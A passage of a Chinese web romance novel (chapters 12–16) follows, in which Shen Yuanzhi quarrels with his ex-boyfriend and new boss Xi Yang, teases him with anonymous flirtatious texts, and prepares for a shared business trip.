两人的视线在空气中短暂地接触了一下,沈垣之掩饰着眼底的凉意,朝他抿出一个淡淡的梨涡。
在他看不见的黑暗里,席殃眼眸轻轻一亮,看了眼站在驾驶旁的许行之,他没什么情绪道:“刚刚你说的直接发我邮箱就行,”
他语气一顿:“微信就不用加了。”
许行之很快笑着点了点头:“那行。”说完他朝沈垣之也点头笑了笑:“沈助你和席总先聊,明天公司见。”
说完他便利落地转身离开了。
沈垣之:“……”
“上来吧。”
疑惑之际,伴随着车门一开,席殃平静的声音从车内传来:“我送你。”
“许助理他……”
沈垣之看着他身旁空出来的位置,顿时清醒过来:“他不送你回去?”
黑暗里席殃意味不明地看了他一眼,随后勾着唇朝某个方向轻轻点了点下巴,沈垣之顺着去看,只见一个身穿蓝色工服的代驾司机正朝他们走来。
“有代驾。”
席殃的声音有些低哑,他将后门不容拒绝地推开了些:“上来。”
还有什么不明白的。
沈垣之当即就想扭头就走,可身后几道视线太过强烈,沉默片刻后,他只好硬着头皮上了车。
“多谢席总。”没了之前的笑脸,沈垣之木着脸对代驾司机客气道:“师傅麻烦你在平和小区停一下。”
代驾司机应了声,车子很快就开了起来。
车内寂静无声。
沈垣之调整着呼吸,慢慢平复了下思绪,他望着窗外不断变化的景色,沉默之际,他用头抵着车窗,缓缓闭上了眼。
不知道过了多久,一道声音倏然从身旁传来:“沈垣之。”
眼睛猛地睁开。
停顿片刻,沈垣之扭过头去。
只见席殃正一动不动地看着他,眼眸里很是平静:“我们聊聊。”
盯着眼前这张脸,沈垣之一下就清醒了过来,后背放松似的往车窗上重重一靠,他阴冷地勾了下唇:“聊什么?”
“我和席总这么多年没见,”他声线平静,在夜里显得格外薄情:“是聊G市这些年发展如何,还是聊你当初为什么一走了之?”
像是想到了什么,他盯着席殃补充道:
“或者来聊聊因影响学习而向你提分手的早恋对象——我?”
话刚落音,驾驶座的代驾司机轻咳了一声,随后马上说了声:“抱歉。”
沈垣之这才意识到车里还有其他人,他说了声“没关系”,随后重新地移回视线:“席总,聊吧。”
黑暗里看不清席殃的神色,沉默许久后,他声音发着紧:“当初你说不会维系亲密关系。”
沈垣之一愣。
这话他确实是说过,他从小就经历在父母水生火热的婚姻之中,对所谓的亲密关系望之却步,他恐于日复一日为感情争吵,也不想为他人的人生负责——
但不知道席殃现在说这个是什么意思。
“席总,不如说明白点。”
“薄言,黎炫乃至于你的同事,”见他一副茫然的神情,黑暗里席殃眼眸瞬间生冷,“这些年来你倒是一个也没忘记维系。”
沈垣之眉头一皱:“我……”
没等他说些什么,席殃突然倾身过来,像是压抑了许久的不满,他声音很重,势必要问出个答案:“我也很想问问你,没我的
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生活,沈垣之你过得怎么样?”
沈垣之呼吸微凝。
他盯着席殃那张质问的脸,满腹疑惑瞬间被难以言喻的情绪侵占了大脑,他一字一顿,无比确切地开口:“托您的福,我好得不得了。”
没了往日的镇定,席殃脸色瞬间一变,他死死地盯着沈垣之那张脸,声音发着紧:“好到半夜哭?好到过敏了都不知道自己买药?”
“席殃!”
被戳到痛处的沈垣之猛地提高了声音:“谁哭了?”
他语气一顿,当即就呛了回去:“我过得怎么样,也是我自己的事。”想到了什么,他眯紧了眼:“就算我过的再不好,也不需要你发520寒碜我。”
“你不也没收。”
席殃也彻底不装,向来平和的眼眸里闪过掩藏不住的阴鸷,声音格外低哑:“也是,我给你的东西,你什么时候稀罕过。”
“你!”
两个加起来年过半百的人此刻放下了伪装,恨不得用言语咬下对方一口血肉来。
“那个……”驾驶座的司机默默地开口道:“两位老板,谁能付一下高速费。”
沈垣之看了眼空空如也的卡槽,将手机递了过去:“我来付。”
代驾刚松了口气。
“你就这么一点都不想欠我的?”席殃目不转睛地盯着他
“不想。”
沈垣之斩钉截铁地看了他一眼,藏在镜框下的眼眸冷如霜:“etc卡怎么不办?是因为席总您在国内待不了多久吗?”
席殃深深地看了他一眼,扭过头不说话了。
沈垣之也飞速扭过头去。
代驾司机颤颤巍巍地接过手机,“滴”的一声后车内恢复了死寂。
一路无言,沈垣之盯着不断变化的街景,眼眸里渐渐失去了温度。
两人这下是彻底撕□□面了,他眼睛一闭,心渐渐变凉,忽略眼尾传来的温度,心想,这辈子他都不会和席殃说话了。
车子最后停在了小区门口。
沈垣之正想下车,席殃开口道:“开进去。”
“不用。”沈垣之冷冷地开口道:“小区保安看车牌,你的车开不进去。”
话没落音,道闸就开了。
“……”
“那……”司机看了眼车内镜。
“开进去。”
车很快开了进去,沈垣之按下心中疑惑,等车一停,立马就下了车。
反正两人已撕破脸皮,也不用在乎这点面上功夫。
径直走向电梯间,按了电梯,沈垣之前脚刚踏进,席殃后脚就跟了进来。看着反光板里模糊的身影,沈垣之一愣,很轻地磨了下后槽牙。
跟着上来干什么?
还没吵够?
电梯里就他俩人,沈垣之按了楼层后心里的疑惑更大,两人一路无言,等电梯一到,沈垣之就立马走了出去。
这些天小区限电,一到这个时候过道里的灯都断了,黑漆漆的,沈垣之什么都看不见,他脚步一顿,打开了手机电筒。
惨淡的月色下,空旷的过道里传来两道几乎重叠的脚步声,席殃身上那道淡淡的男香随着风一同传来,沈垣之唇一抿,脚步更快了些。
终于到了家门口,感受到背后那道强烈的视线,沈垣之手一抖钥匙就掉了下去,手机也不凑巧地暗了。
沈垣之只好蹲下身去找。
找了半天没摸到,正打算重新打开手电筒时,一道身影突然倾了下来,冰凉的手被一只宽厚而温热的手掌轻轻触碰了一下。
沈垣之立马弹了起来,咬牙切齿道:“席总,请你自重!”
“我不知道你跟着我是什么意思……”
话未落音,席殃像是叹了一口气,眼眸里的凉意渐渐消逝,他动了动手指,随后将沈垣之怎么找也找不到的钥匙轻轻塞进了他手里。
不及沈垣之反应,他站起身,背过去从口袋里掏出一把钥匙,然后在沈垣之逐渐睁大的双眼下,打开了他对家大门。
“……”
13. 第 13 章(修)
客厅灯发出暖黄色的光线,大门被拉开了一点缝隙,席殃垂着眸站在门后,直到确定沈垣之进了屋他才轻手轻脚地关上了门。
脑海里浮现出噙着怒意那双眼,席殃脱下西装外套,眼眸一垂,很轻地叹了口气。
顺手将外套挂在置物架上,席殃走到玄关处,伸手碰了碰一个小相框,照片里的人穿着学士服,镜框下眼眸微亮,薄唇轻轻勾着,右脸颊旁梨涡甜得几乎让他移不开视线——
这是二十三岁的沈垣之。
带着没褪尽的孩子气,面对镜头笑得有些羞涩。
盯着看了许久,席殃呼出一口浊气,他抬手轻轻摩擦了一下相片里的沈垣之,眼眸里渐渐染了些温度。
沉默片刻后,席殃径直走向了客厅。
他昨天来的急,这间房除了公司安排好的家具之外,肉眼可见地就只有一个行李箱,本想着找个借口让沈垣之陪他添置一些物品,可没想到——
昨晚沈垣之喝酒喝到半夜。
不见如此,还让他看到了薄言。
这位姓薄的,几乎见证了沈垣之人生的任何一个时期,到现在还跟个狗皮膏药似的粘着他。
还有那个姓黎的。
席殃眼眸一沉,整个人融入了黑暗里,没等他平复好情绪,手机突然震动了一下,席殃看了一眼来电人,接了电话。
“喂。”
“情况怎么样?”
电话刚接通,那人就开口问道。
拿着手机径直走到窗边,席殃盯着一片漆黑的天空,过了片刻才沉声道:“不怎么样。”
像是想到了什么,他眼眸一垂,声音又低又哑:“全弄砸了。”
电话那头很快传来一阵男人无情的嘲笑声。
没等席殃说话,对面连忙打趣道:“对了,我还没问你昨天那杯‘中药’口感怎么样,我可是用了最贵的咖啡豆给你磨的。”
席殃扭头看了眼茶几上的咖啡杯,嘴里顿时泛起一阵阵苦涩,他眼眸一沉,淡淡道:“我谢谢你。”
“不用客气!”
宁源在电话那头哈哈大笑:“这不是给你机会卖卖惨嘛。”他语气一顿:“不过看样子应该是没啥用。”
席殃没说话,沉默着找了根烟点上。
听到了打火机的声音,存了点良知的宁源没再笑:“怎么了,进展不顺利?”
想到不久前在车内爆发的争吵,以及那人红透的眼,席殃疲惫地睫毛一压,哑着声音应了句:“嗯。”
“怎么回事啊?”宁源迟疑道:“我看小沈不像是对你没感觉,昨天一见到你就往我店里躲,你是没看见,一整个人都失魂落魄的。”
“短短一天,你到底做了什么?”
席殃盯着未燃尽的烟,没说话。
“我不知道你们之前发生过什么。”思考片刻,宁源声音认真了些:“追人本来就很难,更何况是追老情人那更是难上加上,我虽然和小沈认识时间不长,但也了解他。”
“他这人很简单,一眼就能看透。总是装着成熟的样子,其实内心很敏感。”
“再说了,”像是想到了什么,他叹了口气:“席总,你一开始接近他的方法就用错了,装不认识他得多伤心,我昨天看他眼圈都红了。”
浓郁的苦涩烟味从口腔里蔓延开来,席殃目光微怔,沉默片刻后,他嘴动了动,但终究还是没有解释,只说:“是我的错。”
见他不想深聊,宁源只好转移了话题:“你既然想把人追回来那就得用对方法。”
“我看你长得不像是主动追人的样子,”他语气一顿,试探道:“当初是小沈追的你?”
沉默片刻,席殃淡淡道:“谁都没追谁。”
宁源:“……”
“那你总知道他喜欢你什么吧。”
席殃沉默片刻:“他从没说喜欢我。”
听他语气不太对劲,宁源疑惑道:“那你俩怎么……”语气一顿,他试探道:“当时你怎么吸引的他呢?”
他低头看了眼自己的腹部,语气听不出什么情绪。
“身材。”
语气一顿,他和窗户里的自己对视了一眼,不确定道:“脸吧。”
“……”
电话那头的宁源沉默了片刻:“你俩未成年就玩这么花?”
“什么都没玩。”席殃很快否认:“他挺乖的。”
宁源啧了一声,忍不住为沈垣之打抱不平:“那你当年怎么说走就走?”
席殃抽了口烟,没说话。
宁源这些年给席殃偶尔发一些沈垣之的日常近况,收了不少好处,有些话只能点到为止。
语气一顿,宁源直接道:“事到如今,只能是他喜欢什么你就展现什么,充分发挥自身优势,让他尽量不排斥你,其他的再说。”
席殃没说话。
挂完电话后他看向窗外看了一会儿,夜晚风凉,席殃又点燃了一支烟,思虑之际,放在一旁的手机倏然震动了几下。
点开屏幕,一个匿名短信吸引了他的视线,很快扫了一眼,席殃的目光最后落在了新发的那条信息上。
【西装被你撑得真好看,真想给你扒了。】
——
短信显示被已读的时候,沈垣之整个人差点从沙发上弹起来,他目不转睛地盯着屏幕看了许久,直到眼睛变得有些酸,席殃什么都没发过来。
只读不回。
将他无视的彻彻底底的。
沈垣之除了有几分不甘心之外,心里渐渐升出了一道他也解释不清的异样情绪,一种隐秘的,不为人知的情绪。
目前还在他的意料之中。
以前和席殃在一起的时候,他情绪稳定的天崩地裂仿佛都与他无关,不过几条意味不明的短信而已,确实引起不了他的注意,看过即忘,估计连黑名单都懒得把他拖进去。
这才是席殃。
沈垣之一边恨恨地磨着牙,刚孵出的计划才刚冒头就有了夭折的倾向,他扫了一下眼睫,整个人蜷缩在了沙发里。
发泄情绪后,剩下的只有更多情绪等着反噬。
想着在车里说的一些话,沈垣之整个人都沉寂了下来,席殃眼里偶尔冒出来的冷意太过刺眼,只要一想起,沈垣之就胸闷气短。
一胸闷气短,他就得找点事来做。
将手机重新拿了起来,沈垣之盯着泛着莹白的屏幕,思考片刻后,复制号码在微信上搜了一下,确定那人没有用这个号码注册微信后,又开始打起了字。
【为什么只读不回。】
【哥哥你怎么这么冷漠
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。】
沈垣之盯着“哥哥”两个字,片刻后,一时搞不明白他这是在恶心席殃还是在为难自己,但事已至此,只好硬着头皮发了出去。
消息很快显示发送成功。
席殃果然连将他拉黑都懒得,沈垣之眼眸一沉,一时说不清这是什么心情,像是满意席殃对这几条消息的无视,又不满意席殃在这几条消息后对“他”的无视。
正纠结之际,短信又显示了已读。
虽然不回,要是不喜欢为什么还盯着看?
沈垣之冷着脸一下就从沙发上弹了起来,他一边恨得牙痒痒,觉得席殃也不过如此,一钓就上钩,一边又忍不住试探着发消息过去。
【哥哥你手真的好大,一看就很能握。】
席殃刚从浴室里出来时,又看见了匿名电话给他发了好几条消息,他皱着眉复制号码到了微信,查无此人,查了下归属地,同样是G市人。
他的电话很少给人,也从不去任何社交场所,结识不了这样言语逾矩的人,第一反应是有人在恶作剧。
正准备将这号码拉黑时,像是想到了什么,手指一顿,又停了下来。
不久前沈垣之当着他的面将手机号码给了其他人,他当时酒意上头,心情郁结,没听完就离开了。
手指一划,确定了这人发来消息的具体时间,心里顿时冒出一股诡异的念头。
席殃刚洗完澡,身上只围了件浴衣,沉默半响后他披了件外套走出了门,黑夜里除了风声外,过道里连针落下都能听到。
怀着不确定的想法,席殃拨通了这个号码。
对门立刻传来一阵手机铃声,紧接着,伴随屏幕上电话被拒,铃声也戛然而止。
席殃眼眸猛地一沉。
沉默半响,在屏幕彻底黑之前,他不确定地回了消息。
【你是谁?】
沈垣之没想到席殃会打电话过来,听到电话铃声的时候整个人心脏都快吓休克了,他下意识拒了电话,之后又开始面无表情地发了消息。
【我现在不方便接电话。】
【我是谁重要吗?】
消息一发出去,立马就显示已读。
沈垣之眼眸一沉,很轻地磨了下后槽牙,以前怎么不知道席殃喜欢这套,他一边恨恨地想着,一边又情不自禁的打着字。
【我觉得你长得很合我眼,想和你聊聊。】
发完这条消息之后,短信旁又立马显示了已读,沈垣之几乎快将一口牙咬碎,没等他继续发,下一秒手机一震,短信界面多出了一行字来。
【不可以。】
【你哪来的号码?】
沈垣之眼眸一沉,十分恶劣的回复。
【你长得这么好看,存了心勾引我,弄到你号码很难吗?】
很快地,对面回了消息。
【不要再发消息过来了。】
沈垣之一愣。
心想,怎么,你说不发我就不发?凭什么。沈垣之眼眸一沉,没等他回复,对面很快又发了条消息过来。
【无论你是谁,请你自重。】
后头这话怎么听的有些耳熟。
“……”
耳朵里突然冒出不久前他在家门口对席殃说的话,沈垣之脸一黑,顿时将手机扔得好远。
14. 第 14 章
沈垣之没再发消息。
这一晚发生的事太多,加上积攒的情绪全发泄出来,整个人有些精疲力竭。
洗完澡后他点了款新买的睡眠香薰,微弱的火光被笼在半封闭的玻璃罩下,一时间整个卧室都弥漫着淡淡的橘子味。
闭着眼蜷缩进温暖的被窝,半梦半醒之际,沈垣之突然睁开了眼,摸着黑预约好明天上班的网约车,随后在橘子香薰的香甜味道下,沈垣之做了一夜……噩梦。
先是梦到他和席殃大吵了一架,白天发生的事再一次在梦里上映,可与白天情形又不太相同,两人吵着吵着突然亲了起来。
亲也就算了,眼看着即将要做更离谱的事。
还是在车里。
沈垣之在梦里一边大喊:“这太离谱了。”一边把席殃扒了个精光,后续因为现实生活中还未实践过,于是两人很单纯的拼起了刺刀。
拼刺刀也就算了。
在两人吻作一团,将车里弄得乱七八糟后,转眼间席殃突然穿上了制服,沈垣之被帅到有些发愣的同时,被他用擒拿的方法一下制服了。
“是不是你发给我的骚扰短信?”席殃一身正气地问。
沈垣之当然不承认。
穿上制服的席殃不认人,一点都不听他的解释,冷脸念着不久前他发过去的短信,见沈垣之红透了脸并且哑口无言,便言之凿凿地要将他扭送进局子——
“滴!”
床头的手机铃声响了起来,沈垣之猛地睁开了眼,他望着洁白的天花板轻轻地喘出一口气,片刻后才找回了一点理智。
梦里唇齿交融的场景太过清晰,沈垣之木着脸飞快下了床,拉开卧室的窗帘,一阵冷风吹来,将他不该有的躁动吹散了。
刷牙,洗脸,穿上西装,打好领带。眼看着时间还充足,沈垣之沉默着给自己养的小水培植物移到了窗户下。
做完这些后,心情没有片刻得到缓解的沈垣之掏出了手机,找到置顶信息,冷脸打字。
【昨晚梦见你了,你妈的,身材真好。】
【亲手把你扒了个精光,实话实说你很大。】
消息显示发送成功。
拨云见日,沈垣之眉头一展,心情顿时好了。
换好鞋后沈垣之出了门,他看了眼紧闭的对面,也不知道在怕什么,轻手轻脚快速地离开了。
出了小区没遇见什么不该遇见的人,也没有遇见说跑单就跑单的司机,沈垣之坐上了出租车时,觉得世界太美好了,他还能扛一扛。
司机见他眉眼带笑便热情的和他聊了几句,心情好的沈垣之偶尔也会应一句,就这样一问一答,没过多久就到了目的地。
进电梯,拿出手机。
沈垣之一大早就开始他的工作,先是查看黎炫的当日日程,确定除了寻常会议无其他外勤工作后,退出屏幕点开未读邮件,着手处理审批工作。
G市项目昨晚已确认推进,沈垣之便将其写进简报里一同发给了黎炫。
做完这些,电梯恰好停在了十五层。
沈垣之一抬眼便与杜婧笙碰了个照面,她今天穿了件正式的西装套裙,面容精致,气质出众。
双目对视,双方都很惊讶。
“你怎么来得这么早?”
“你怎么今天心情这么好?”
“我来拿个文件,等会儿会议要用。”杜婧笙朝他扬了扬手里的文件夹,语气一顿,意味深长地笑了笑:“沈助我昨晚忘记和你说了,席总前天搬到了公司公寓。”
走出电梯,沈垣之看了她一眼,淡淡道:“是吗?”
勾了下唇,杜婧笙没有再继续这个话题:“昨晚小黎总让我连夜订了三张机票,去邻市的。”
沈垣之眉头一皱,心里有了猜测:“一中那边的项目负责人在邻市?”
话刚落音,杜婧笙颇为欣赏地朝他点了点头,两人一边说着一边往里走:“是的,听说那负责人正在邻市参加一个什么高校讲座,为期三天。”
“在项目正式敲定前一切都有变数,小黎总的意思是想让你和席总提前和他见见面。”
沈垣之一愣,脱口而出道:“他和席总沟通过没有?”
杜婧笙又意味不明地看了他一眼:“当然说过了,身份证还是席总提供的,虽然小黎总平时不靠谱,但再怎么也不会擅自安排席总的行程。”
意识到自己说了句多余的话,沈垣之干脆闭上了嘴。
两人进了主会议室后,先调试了下设备,沈垣之突然想到了什么,他疑惑地皱了皱眉:“怎么买了三张票,谁还去?”
“小冯呀。”杜婧笙打开了会议室灯,笑道:“技术部这段时间忙得不可开交,小冯自告奋勇帮你们设计图纸,所以就派他来了。”
沈垣之闻言眉头微微蹙了一下。
杜婧笙嘴里的小冯全名叫冯沅,今年从大学刚毕业,脾气好,模样讨喜,又和沈垣之大学是同系师兄弟,更有缘的是,他也是G市人,低沈垣之两届也在一中毕业。
照理说,沈垣之
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多少会照顾他一点,之前也确实如此,不过在某次公司聚会,小冯和他暗示性向并模棱两可表露心思后,沈垣之就有意识地离他远了些。
但总归冯沅没有明说,沈垣之也不想闹得太僵,只是没像以前那样照顾他了。
冯沅察觉他的疏远后也没有表现出什么异样,平时在公司见面了还是会打打招呼,节假日在微信上问问好,都是正常社交的距离。
沈垣之向来公私分明,虽然对于这次行程有些说不出的滋味,但他没那么自恋,不觉得有人能惦记他这么久。
更何况还有个席殃。
这才是让他头疼又恨到牙痒痒的人。
看了眼正在忙的杜婧笙,沈垣之背过身摸出了手机,果不其然席殃没回,他并不气馁,经过一晚沈垣之早就想开了。
能钓上席殃再狠狠抛弃他,是最好不过的。但实在不行,心情好的时候骚扰他一下,或者心情不好的时候也骚扰一下,这也是非常好的。
于是他又准备发消息过去。
没等他想好发些什么,门口突然传来几道说话声,沈垣之和杜婧笙对视了一眼,两人一前一后很快走了出去。
刚出会议室,门口就迎面而来两个人。
一个黎炫,另一个是席殃。
G市今日天气晴朗,不过刚八点,初升的阳光就洒了进来,柔和的光线落在席殃的身上。
他今天穿了件深灰色西装,里面搭配着一件贵气的黑色衬衣,银色的领带上扣了个小巧的领带夹,明明是最简单不过的配色搭配,却衬得他内敛又优雅。
不仅如此,连头发被精心打理过,不长不短的头发向头抓着,俊美又不失气势的五官被阳光笼罩着,薄唇紧抿,气质凛冽,走路都像是在走t台。
“卧槽,沈助。”沉默之际,身旁传来杜婧笙小小的惊呼声:“这简直是极品。”
话刚落音,沈垣之很不经意地挡住了她的视线。
两人走得更近了些,黎炫还在喋喋不休的说着,而席殃像是看到他了,目光微凝,眉梢向上一扬,五官更加生动起来。
错身之际,沈垣之不仅闻到他身上传来一股很淡的男香,还注意到他竟然带了个耳饰。
在左耳,一个很不起眼的小黑点。
和扣得整整齐齐的衬衣相衬下,徒然给他添了几分意味不明的禁欲。
在杜婧笙持续的探头探脑及暗呼声中,沈垣之盯着席殃远去的背影很重地磨了下牙,心想。
他怎么能这么骚。
15. 第 15 章
会议于九点半正式召开。
和以往的部门会议不太相同,这次只有几位高层领导参加,会议内容主要围绕新季度的工作计划,以及正式介绍新的项目部长。
说是部长,但又远远不止如此,昨天黎慎言和于秦能亲自过来就可窥一二,沈垣之虽不知道其中缘由,但心里也猜想了几分。
看了眼不远处正发言席殃,不冷不热的声线下,沈垣之目光渐渐变得肆无忌惮,从那张颇有冷感的脸划过,落至那不断滚动的喉结,最后停在那不起眼的耳饰上——
眼眸一沉,沈垣之握着笔杆的手稍稍用力,骨节泛起很淡的青白。
一夜之间,这人像是开了屏的孔雀,浑身上下香香的,衣服也不好好穿,甚至连眉毛都修了,说起公事来脸上什么表情都没有,但就是没来由的格外勾人。
这种既看上去极禁欲,举手投足间又处处流露着“也不是不可以亵玩一下”的冲突感,几乎瞬间就牢牢抓住了沈垣之。
男人都是视觉动物,沈垣之当然也不例外。
早在很久之前,他就被席殃这股“高岭之花”的气质迷得上蹿下跳,当时沈垣之最热衷的事就是把他这幅人模狗样的模样扒个精光。
但是两人当时都没成年,席殃又极有道德感,亲嘴都是一周一次,那啥更是半个月一次,至于更过分点的,沈垣之也不是没想过。
每次被勾得神魂颠倒的时候,沈垣之也不是没骑上去,席殃哑声一句:“不行,不可以。”就回绝了,而后沈垣之要是再哼哼唧唧,他再一句:“宝宝你乖点。”或者是“你快点长大。”
就将沈垣之收拾的服服帖帖。
时隔多年,得不到还是在骚动。
沈垣之眼眸沉如深潭,他磨了磨牙,觉得自己手又开始痒了,不发点什么消息过去他就憋得慌。
正准备偷偷摸手机时,正说话的席殃语气突然一顿,貌似不经意地朝他看了过来:“沈助觉得呢?”
什么都没听的沈垣之一愣,在众人视线下从容的点了下头:“我觉得可以。”话刚落音,席殃眉眼很明显的含了几分笑意,他淡淡道:“那就这样决定了。”
沈垣之不明觉厉,昨晚两人才撕破脸面大吵一架,总觉得席殃话里有话,笑里藏刀。
会议一结束,黎炫和席殃就先行离开了,几位领导见状也跟着起身,最后诺大的会议室里只剩下他和杜婧笙。
先前说过杜婧笙这人很聪明,沈垣之在公事上愿意和聪明人打交道,但私下还是有些敬而远之,总觉得一眼就被看透,譬如此刻——
“席总今天有些不一样,挺让人意外的。”
她像是自言自语,但一双眼却落在沈垣之身上。
“是吗?”沈垣之淡淡回望,手里收拾东西的动作却加快了。
“那可不,就像是故意给谁看的似的。”
杜婧笙朝他意味不明的笑了下:“不过我看那耳钉是磁吸的,和那一身搭配着的,该说不说有点审美。”
“你怎么看的这么仔细?”沈垣之皱眉。
话刚落音,杜婧笙就“噗呲”一下笑出了声。
沈垣之手一顿,被笑得有些尴尬。
杜婧笙像是没察觉到他的异样,眼眸含笑:“小沈,今晚工作后你可以帮我问问席总耳钉在哪买的吗?我让我男朋友也学学。”
沈垣之看了她一眼,知道她是在故意逗自己,勾了下唇,并不顺着说:“我和席总不熟,大概帮不了你。”
“是吗?”杜婧笙很做作地睁大了双眼:“刚刚席总说为了节省差旅费你俩住一个套间,你答应了,我以为你和席总关系还不错……”
“我答应……”
想到席殃不久前在会议上说的话,沈垣之脸一黑。
杜婧笙见状也没再故意逗他,她伸手拉开了窗帘,公司门外种的木棉花一夜之间开了很多,她扭头看向沈垣之,好心情地朝他笑了笑。
“沈助,春天要来了。”
——
出差定在下午三点。
沈垣之今早才临时接到通知,连行李都没收拾,虽然只有三天,但洗簌用品和其他物件该带的还是得带。
自从知道要和席殃住同一间套房后沈垣之情绪就起伏不断,一会儿想他是什么意思,公司差那么点钱了?一会儿又想要不到时候和冯沅住一间——
还是算了。
先不说冯沅对他态度有没有变化,光是想到和其他人同住,沈垣之心里就有些不太适应。
他睡熟了姿势有些不雅,露胳膊露腿先不说,估计还会磨牙说梦话,沈垣之不想自己颜面扫地,实在不行到时候再想办法花钱另订房吧。
一上午除了工作之外全琢磨这些事了,以至于冯沅推着行李箱来办公室找他时,沈垣之都没认出人来。
“沈哥!”
冯沅今天穿了件很简易的西装,里面搭配着白衬衫,没打领带,手里推着满当当的行李箱,眉目间含着“小学生要去春游”的雀跃。
不过和大半年前公司年终会见过的那次面相比,还是无法避免地多了些班味,和沈垣之相比之下,还是好很多。
沈垣之被他的热情有点感染,眉目间带了些淡淡的笑意,但语气还是一如既往的严肃:“工作期间注意称呼。”
冯沅一愣,随后规矩地喊了声:“沈助。”
沈垣之朝他淡淡地应了声,目光瞟到他手里的行李箱,下意识问了句:“东西都带齐没有?”
冯沅朝他点点头,一双眼眸看着他亮晶晶的,唇边也很快含上了笑:“都带了。”
他语气一顿,丝毫没有告白被拒以及许久未见的尴尬,神神秘秘地朝他笑:“我还带了PSP。”
沈垣之前几年喜欢玩游戏机,玩上头的时候在朋友圈发过一次,冯沅当时立马就私聊了他,当时还没有闹过那出,沈垣之也乐意和他聊。
不过这次是去工作,但沈垣之前不久才说过他,毕竟是同事,还要相处三天,沈垣之忍了忍,当作没听见。
刚整理好项目企划书,沈垣之就接到了司机
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的电话,他看了眼时间,回了句:“现在就过来。”
说完他便将临时整理好的行李箱拖了出来,他一手里拿着公文包,另一手准备给席殃发消息,冯沅见他腾不开手便自告奋勇地要帮他推行李箱。
沈垣之没拒绝。
打开手机,映入眼帘的是不久前他用匿名号码给席殃发的消息,从早到现在,席殃一句也没看。
沈垣之扯了下嘴角,倒也不例外。
他切出信息,点开了微信。
找到那眼熟的头像后,客客气气地发了消息过去。
【席总,请问可以出发了吗?】
点击发送,沈垣之推开了办公室的门。
映入眼帘的是一双极为修长的腿,裁剪得当的设计将这双腿完美的包裹着,再向上便落入一双没什么情绪的眼眸里。
席殃手里拉着行李箱,半倚在一旁,也不知道待多久了。
沈垣之一顿,他身后的冯沅疑惑地探出头来:“怎么了?”而后瞥进一双极为生冷的眼眸,冯沅下意识地站直了些:“席总。”
席殃瞟了眼他手里的行李箱,又扫过沈垣之,不冷不热地应了声:“走吧。”
三人一前一后进了电梯。
狭小的空间里萦绕着很淡的男香,沈垣之盯着身前宽阔的背影沉默了几秒,身旁的冯沅像是察觉到什么,犹犹豫豫地看了沈垣之几眼,见他不说话,也很快沉默下来。
电梯直达地下车库。
司机已经等候多时,见几人下来,连忙上前接了几步:“席总。”
席殃脚步未顿,错开他接行李的手,语气听不出什么情绪:“帮他们。”
司机连忙应了声,接过冯沅手里的行李,很快塞进了后备箱里,等两件行李箱都塞进去后,席殃背对着他,婉拒了司机伸来的手,语气依旧平静:“我自己来。”
说完,便微微弯身,将那件黑色行李箱抬了起来。动作很小心,像是对待什么珍宝一样。
盯着他的动作,沈垣之唇抿紧了几分。
不知道席殃在他办公室门口待了多久,也不知道听到了什么,或许是他太过敏锐,察觉到席殃的态度和上午有些不同。
没来由的心闷气短,沈垣之一双眼快将他后背盯出个窟窿来。
司机这次开的不是商务车,很普通的前后六座,按理说冯沅职位较低,理应坐在副驾驶,但沈垣之实在不想和席殃坐在一起。
现在气氛尴尬不说,昨晚还做了那种梦。
沈垣之眼睫一垂,要是实在是时间不允许,不然他宁愿坐地铁去,冯沅也像是看出了他的犹豫,绕过席殃悄悄溜到他身旁。
“沈助,要不我坐后面吧。”
注意了称呼,冯沅朝他笑了笑:“我有点晕车。”
沈垣之自然不会答应,就算他再怎么不情愿,那也是他和席殃的事,没等他来得及说些什么,只听见席殃开了后车门,率先坐了进去,一双眼平静地落在沈垣之身上,他淡淡道:
“小圆,坐后面来。”
16. 第 16 章
席总的声音很轻,即使是在空旷的地下车库,也压根听不出他说了些什么,但总归不是喊自己——
冯沅看了眼站在原地沉默的沈垣之,一时不知该如何是好。
“小冯,”沈垣之很快缓过神来,他朝愣在原地的冯沅扯了扯嘴角:“晕车你就坐前面吧。”
说完便面无表情地坐进了后座。
冯沅直愣愣地点点头坐上了副驾,司机见几人坐好后,很快发动了车。
车内除了机动车发出的轻微轰鸣外,一时安静无声。冯沅从车内镜瞟了眼后座天各一方的两人,眉头轻轻一蹙,心里渐渐困惑起来。
他从没见过沈哥这副模样,就连上次他借着醉意出柜加表白,对方也只是手一顿,然后面无表情看了他一眼:“你认真的?”
冯沅记得很清楚,他也不算是情窦初开,在遇上沈哥之前也朦朦胧胧对同性有过好感,被告白和告白都有过,但没一个人像是沈垣之这样的。
就像是只要他点头,后者就会立刻扭头就走一样。
冯沅只好点一下摇一下头,打着哈哈过去了,但之后沈哥明显就疏离了他,冯沅这段时间也不是没接触过其他人,但就是忘不了他。
冯沅反思了一下,他想,大概是因为喝酒后的沈垣之和平时很不一样,没有那股拒人千里之外的冷劲儿,眼眸里总噙着水般,看上去很脆弱。
思绪跳得太远,冯沅很快回过神来。
眼睫一扫,突然撞进了一双眼眸里,那双黑瞳极深,带着不属于这个季节的冷,车外早春暖意,这一眼却凉得几乎要将他钉在原处。
冯沅后背一僵,他下意识坐直了背,再看去,只见车内镜里的席总气质温润,眉梢一挑,朝他客客气气地点了点头。
仿佛前一秒是他的错觉。
冯沅也匆匆点头示意,一双眼不再乱看,规规矩矩地看向前方。
沈垣之没注意到车内气氛变化,他盯着窗外快速飞驰的街景,脑子里全是席殃那一声:“小圆。”
他怀疑是他听错了,席殃太自然而然了,就像沈垣之天生活该叫小圆一般,但尚未平息的悸动又如此明显,时刻提醒着他,不久前确实他被席殃叫了小名。
沈垣之忽视心里的异样,很快调整好情绪,只是席殃身上的男香太明显,呼吸间全是他的味道,时不时骚扰着他,一颗悬在胸腔里的心,被勾得不上不下。
要不是情况实在不允许,沈垣之又想摸出手机,不说点骚话都难以疏解。
扫了眼正闭着双眼的席殃,沈垣之渐渐平静了下来,从紧抿的唇划向他紧缩的眉头,他注意到短暂休憩的席殃手里依旧攥紧了项目企划书。
上面的图纸看得人眼花,密密麻麻的标记更是让人缭乱。
沈垣之目光一怔,很快移开了视线。
盯着这个项目的人有多少,他再清楚不过,就连这次着急忙慌赶着去见对方负责人他们也是去碰碰运气,为的只是能有更多可能机会。
薄言总说他心软。
沈垣之一直都不承认,但转念一想席殃也没做错什么,年少无知的感情哪能算得了数,繁忙的工作之余,还要忍着恶心看前任背地里发的骚扰信息……
摸了摸有些发烫的手机,沈垣之偏过头去。
心想。
要不算了吧。
——
算他妈个蛋。
